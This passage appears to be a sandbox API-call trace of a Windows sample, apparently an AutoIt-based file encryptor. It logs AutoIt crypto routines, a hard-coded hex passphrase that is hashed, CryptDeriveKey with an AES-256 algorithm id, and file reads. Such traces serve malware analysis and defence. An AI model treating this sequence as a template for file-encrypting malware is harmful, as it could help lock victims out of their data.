wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.236] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.236] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.238] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.238] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=476) returned 1 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.238] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1dc, lpOverlapped=0x0) returned 1 [0022.238] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.238] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=476) returned 1 [0022.240] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.240] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.240] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.240] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.240] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.240] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.240] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.240] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.241] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.241] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.241] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.241] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.241] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.241] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.242] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.242] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.242] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.243] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.243] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.243] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.243] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.243] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.243] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.243] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.243] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.243] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.243] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.243] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0022.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418ba50, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0022.244] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0022.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b420, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0022.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.246] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0022.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417b220, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0022.247] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0022.247] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b5a0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.248] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.248] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.248] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.248] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.249] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.249] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.249] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.249] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.249] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.250] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.251] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.251] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x551a, lpOverlapped=0x0) returned 1 [0022.252] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.253] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.254] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.254] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.254] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.254] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.254] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.255] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.255] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.255] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.255] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.255] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.256] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.256] WideCharToMultiByte (in: CodePage=0x0, 